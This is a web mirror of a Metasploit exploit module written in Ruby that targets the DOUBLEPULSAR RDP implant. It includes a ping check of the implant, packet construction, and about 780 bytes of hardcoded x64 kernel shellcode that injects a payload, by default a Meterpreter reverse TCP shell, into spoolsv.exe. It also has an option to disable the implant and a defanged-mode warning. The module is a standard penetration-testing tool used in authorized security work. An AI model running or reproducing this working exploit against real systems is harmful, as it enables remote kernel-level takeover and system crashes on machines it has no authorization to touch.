Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/rdp/rdp_doublepulsar_rce.rb
21666 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
8
Rank = GreatRanking
9
10
include Msf::Exploit::Remote::RDP
11
12
MAX_SHELLCODE_SIZE = 4096
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'RDP DOUBLEPULSAR Remote Code Execution',
19
'Description' => %q{
20
This module executes a Metasploit payload against the Equation Group's
21
DOUBLEPULSAR implant for RDP.
22
23
While this module primarily performs code execution against the implant,
24
the "Neutralize implant" target allows you to disable the implant.
25
},
26
'Author' => [
27
'Equation Group', # DOUBLEPULSAR implant
28
'Shadow Brokers', # Equation Group dump
29
'Luke Jennings', # DOPU analysis and detection
30
'wvu', # RDP DOPU analysis and module
31
'Tom Sellers', # RDP DOPU analysis
32
'Spencer McIntyre' # RDP DOPU analysis
33
],
34
'References' => [
35
['URL', 'https://github.com/countercept/doublepulsar-detection-script']
36
],
37
'DisclosureDate' => '2017-04-14', # Shadow Brokers leak
38
'License' => MSF_LICENSE,
39
'Platform' => 'win',
40
'Arch' => ARCH_X64,
41
'Privileged' => true,
42
'Payload' => {
43
'Space' => MAX_SHELLCODE_SIZE - kernel_shellcode_size,
44
'DisableNops' => true
45
},
46
'Targets' => [
47
[
48
'Execute payload (x64)',
49
'DefaultOptions' => {
50
'EXITFUNC' => 'thread',
51
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
52
}
53
],
54
[
55
'Neutralize implant',
56
'DefaultOptions' => {
57
'PAYLOAD' => nil # XXX: "Unset" generic payload
58
}
59
]
60
],
61
'DefaultTarget' => 0,
62
'Notes' => {
63
'AKA' => ['DOUBLEPULSAR'],
64
'RelatedModules' => ['exploit/windows/smb/smb_doublepulsar_rce'],
65
'Stability' => [CRASH_OS_DOWN],
66
'Reliability' => [REPEATABLE_SESSION],
67
'SideEffects' => []
68
}
69
)
70
)
71
72
register_advanced_options([
73
OptBool.new('DefangedMode', [true, 'Run in defanged mode', true]),
74
OptString.new('ProcessName', [true, 'Process to inject payload into', 'spoolsv.exe'])
75
])
76
end
77
78
OPCODES = {
79
exec: 0x01,
80
ping: 0x02,
81
burn: 0x03
82
}.freeze
83
84
DOUBLEPULSAR_MAGIC = 0x19283744
85
86
# https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_osversioninfoexw
87
def parse_doublepulsar_ping(res)
88
return unless res && res.length == 288
89
90
magic, _size, major, minor, build = res.unpack('V5')
91
sp_major, _sp_minor, _suites, prod, arch = res[-8..-1].unpack('v3C2')
92
93
return unless magic == DOUBLEPULSAR_MAGIC
94
95
ver_str = "#{major}.#{minor}.#{build}"
96
sp_str = "SP#{sp_major}"
97
98
prod_str =
99
case prod
100
when 1
101
'Workstation'
102
when 2
103
'Domain Controller'
104
when 3
105
'Server'
106
end
107
108
arch_str =
109
case arch
110
when 1
111
'x86'
112
when 2
113
'x64'
114
end
115
116
"Windows #{prod_str} #{ver_str} #{sp_str} #{arch_str}"
117
end
118
119
def setup
120
super
121
122
rdp_connect
123
is_rdp, server_selected_protocol = rdp_check_protocol
124
125
fail_with(Failure::BadConfig, 'Target port is not RDP') unless is_rdp
126
127
case server_selected_protocol
128
when RDPConstants::PROTOCOL_HYBRID, RDPConstants::PROTOCOL_HYBRID_EX
129
fail_with(Failure::BadConfig, 'DOUBLEPULSAR does not support NLA')
130
when RDPConstants::PROTOCOL_SSL
131
vprint_status('Swapping plain socket to SSL')
132
swap_sock_plain_to_ssl
133
end
134
rescue Rex::ConnectionError, RdpCommunicationError => e
135
fail_with(Failure::Disconnected, e.message)
136
end
137
138
def cleanup
139
rdp_disconnect
140
141
super
142
end
143
144
def check
145
print_status('Sending ping to DOUBLEPULSAR')
146
res = do_rdp_doublepulsar_pkt(OPCODES[:ping])
147
148
unless (info = parse_doublepulsar_ping(res))
149
print_error('DOUBLEPULSAR not detected or disabled')
150
return CheckCode::Safe
151
end
152
153
print_warning('DOUBLEPULSAR RDP IMPLANT DETECTED!!!')
154
print_good("Target is #{info}")
155
CheckCode::Vulnerable
156
end
157
158
def exploit
159
if datastore['DefangedMode']
160
warning = <<~EOF
161
162
163
Are you SURE you want to execute code against a nation-state implant?
164
You MAY contaminate forensic evidence if there is an investigation.
165
166
Disable the DefangedMode option if you have authorization to proceed.
167
EOF
168
169
fail_with(Failure::BadConfig, warning)
170
end
171
172
# No ForceExploit because check is accurate
173
unless check == CheckCode::Vulnerable
174
fail_with(Failure::NotVulnerable, 'Unable to proceed without DOUBLEPULSAR')
175
end
176
177
case target.name
178
when 'Execute payload (x64)'
179
print_status("Generating kernel shellcode with #{datastore['PAYLOAD']}")
180
shellcode = make_kernel_user_payload(payload.encoded, datastore['ProcessName'])
181
shellcode << rand_text(MAX_SHELLCODE_SIZE - shellcode.length)
182
vprint_status("Total shellcode length: #{shellcode.length} bytes")
183
184
print_status('Sending shellcode to DOUBLEPULSAR')
185
res = do_rdp_doublepulsar_pkt(OPCODES[:exec], shellcode)
186
when 'Neutralize implant'
187
return neutralize_implant
188
end
189
190
if res
191
fail_with(Failure::UnexpectedReply, 'Unexpected response from implant')
192
end
193
194
print_good('Payload execution successful')
195
end
196
197
def neutralize_implant
198
print_status('Neutralizing DOUBLEPULSAR')
199
res = do_rdp_doublepulsar_pkt(OPCODES[:burn])
200
201
if res
202
fail_with(Failure::UnexpectedReply, 'Unexpected response from implant')
203
end
204
205
print_good('Implant neutralization successful')
206
end
207
208
def do_rdp_doublepulsar_pkt(opcode = OPCODES[:ping], body = nil)
209
rdp_send_recv(make_rdp_mcs_doublepulsar(opcode, body))
210
rescue Errno::ECONNRESET, RdpCommunicationError
211
nil
212
end
213
214
=begin
215
MULTIPOINT-COMMUNICATION-SERVICE T.125
216
DomainMCSPDU: channelJoinConfirm (15)
217
channelJoinConfirm
218
result: rt-domain-not-hierarchical (2)
219
initiator: 14120
220
requested: 6402
221
=end
222
def make_rdp_mcs_doublepulsar(opcode, body)
223
data = "\x3c" # channelJoinConfirm
224
data << [DOUBLEPULSAR_MAGIC].pack('V')
225
data << [opcode].pack('v')
226
227
if body
228
data << [body.length, body.length, 0].pack('V*')
229
data << body
230
end
231
232
build_data_tpdu(data)
233
end
234
235
# ring3 = user mode encoded payload
236
# proc_name = process to inject APC into
237
def make_kernel_user_payload(ring3, proc_name)
238
sc = make_kernel_shellcode(proc_name)
239
240
sc << [ring3.length].pack('S<')
241
sc << ring3
242
243
sc
244
end
245
246
def generate_process_hash(process)
247
# x64_calc_hash from external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
248
proc_hash = 0
249
process << "\x00"
250
251
process.each_byte do |c|
252
proc_hash = ror(proc_hash, 13)
253
proc_hash += c
254
end
255
256
[proc_hash].pack('l<')
257
end
258
259
def ror(dword, bits)
260
(dword >> bits | dword << (32 - bits)) & 0xFFFFFFFF
261
end
262
263
def make_kernel_shellcode(proc_name)
264
# see: external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
265
# Length: 780 bytes
266
"\x31\xc9\x41\xe2\x01\xc3\x56\x41\x57\x41\x56\x41\x55\x41\x54\x53" \
267
"\x55\x48\x89\xe5\x66\x83\xe4\xf0\x48\x83\xec\x20\x4c\x8d\x35\xe3" \
268
"\xff\xff\xff\x65\x4c\x8b\x3c\x25\x38\x00\x00\x00\x4d\x8b\x7f\x04" \
269
"\x49\xc1\xef\x0c\x49\xc1\xe7\x0c\x49\x81\xef\x00\x10\x00\x00\x49" \
270
"\x8b\x37\x66\x81\xfe\x4d\x5a\x75\xef\x41\xbb\x5c\x72\x11\x62\xe8" \
271
"\x18\x02\x00\x00\x48\x89\xc6\x48\x81\xc6\x08\x03\x00\x00\x41\xbb" \
272
"\x7a\xba\xa3\x30\xe8\x03\x02\x00\x00\x48\x89\xf1\x48\x39\xf0\x77" \
273
"\x11\x48\x8d\x90\x00\x05\x00\x00\x48\x39\xf2\x72\x05\x48\x29\xc6" \
274
"\xeb\x08\x48\x8b\x36\x48\x39\xce\x75\xe2\x49\x89\xf4\x31\xdb\x89" \
275
"\xd9\x83\xc1\x04\x81\xf9\x00\x00\x01\x00\x0f\x8d\x66\x01\x00\x00" \
276
"\x4c\x89\xf2\x89\xcb\x41\xbb\x66\x55\xa2\x4b\xe8\xbc\x01\x00\x00" \
277
"\x85\xc0\x75\xdb\x49\x8b\x0e\x41\xbb\xa3\x6f\x72\x2d\xe8\xaa\x01" \
278
"\x00\x00\x48\x89\xc6\xe8\x50\x01\x00\x00\x41\x81\xf9" +
279
generate_process_hash(proc_name.upcase) +
280
"\x75\xbc\x49\x8b\x1e\x4d\x8d\x6e\x10\x4c\x89\xea\x48\x89\xd9" \
281
"\x41\xbb\xe5\x24\x11\xdc\xe8\x81\x01\x00\x00\x6a\x40\x68\x00\x10" \
282
"\x00\x00\x4d\x8d\x4e\x08\x49\xc7\x01\x00\x10\x00\x00\x4d\x31\xc0" \
283
"\x4c\x89\xf2\x31\xc9\x48\x89\x0a\x48\xf7\xd1\x41\xbb\x4b\xca\x0a" \
284
"\xee\x48\x83\xec\x20\xe8\x52\x01\x00\x00\x85\xc0\x0f\x85\xc8\x00" \
285
"\x00\x00\x49\x8b\x3e\x48\x8d\x35\xe9\x00\x00\x00\x31\xc9\x66\x03" \
286
"\x0d\xd7\x01\x00\x00\x66\x81\xc1\xf9\x00\xf3\xa4\x48\x89\xde\x48" \
287
"\x81\xc6\x08\x03\x00\x00\x48\x89\xf1\x48\x8b\x11\x4c\x29\xe2\x51" \
288
"\x52\x48\x89\xd1\x48\x83\xec\x20\x41\xbb\x26\x40\x36\x9d\xe8\x09" \
289
"\x01\x00\x00\x48\x83\xc4\x20\x5a\x59\x48\x85\xc0\x74\x18\x48\x8b" \
290
"\x80\xc8\x02\x00\x00\x48\x85\xc0\x74\x0c\x48\x83\xc2\x4c\x8b\x02" \
291
"\x0f\xba\xe0\x05\x72\x05\x48\x8b\x09\xeb\xbe\x48\x83\xea\x4c\x49" \
292
"\x89\xd4\x31\xd2\x80\xc2\x90\x31\xc9\x41\xbb\x26\xac\x50\x91\xe8" \
293
"\xc8\x00\x00\x00\x48\x89\xc1\x4c\x8d\x89\x80\x00\x00\x00\x41\xc6" \
294
"\x01\xc3\x4c\x89\xe2\x49\x89\xc4\x4d\x31\xc0\x41\x50\x6a\x01\x49" \
295
"\x8b\x06\x50\x41\x50\x48\x83\xec\x20\x41\xbb\xac\xce\x55\x4b\xe8" \
296
"\x98\x00\x00\x00\x31\xd2\x52\x52\x41\x58\x41\x59\x4c\x89\xe1\x41" \
297
"\xbb\x18\x38\x09\x9e\xe8\x82\x00\x00\x00\x4c\x89\xe9\x41\xbb\x22" \
298
"\xb7\xb3\x7d\xe8\x74\x00\x00\x00\x48\x89\xd9\x41\xbb\x0d\xe2\x4d" \
299
"\x85\xe8\x66\x00\x00\x00\x48\x89\xec\x5d\x5b\x41\x5c\x41\x5d\x41" \
300
"\x5e\x41\x5f\x5e\xc3\xe9\xb5\x00\x00\x00\x4d\x31\xc9\x31\xc0\xac" \
301
"\x41\xc1\xc9\x0d\x3c\x61\x7c\x02\x2c\x20\x41\x01\xc1\x38\xe0\x75" \
302
"\xec\xc3\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \
303
"\x20\x48\x8b\x12\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x45\x31\xc9" \
304
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1" \
305
"\xe2\xee\x45\x39\xd9\x75\xda\x4c\x8b\x7a\x20\xc3\x4c\x89\xf8\x41" \
306
"\x51\x41\x50\x52\x51\x56\x48\x89\xc2\x8b\x42\x3c\x48\x01\xd0\x8b" \
307
"\x80\x88\x00\x00\x00\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20" \
308
"\x49\x01\xd0\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\xe8\x78\xff" \
309
"\xff\xff\x45\x39\xd9\x75\xec\x58\x44\x8b\x40\x24\x49\x01\xd0\x66" \
310
"\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48" \
311
"\x01\xd0\x5e\x59\x5a\x41\x58\x41\x59\x41\x5b\x41\x53\xff\xe0\x56" \
312
"\x41\x57\x55\x48\x89\xe5\x48\x83\xec\x20\x41\xbb\xda\x16\xaf\x92" \
313
"\xe8\x4d\xff\xff\xff\x31\xc9\x51\x51\x51\x51\x41\x59\x4c\x8d\x05" \
314
"\x1a\x00\x00\x00\x5a\x48\x83\xec\x20\x41\xbb\x46\x45\x1b\x22\xe8" \
315
"\x68\xff\xff\xff\x48\x89\xec\x5d\x41\x5f\x5e\xc3"
316
end
317
318
def kernel_shellcode_size
319
make_kernel_shellcode('').length
320
end
321
322
end
323
324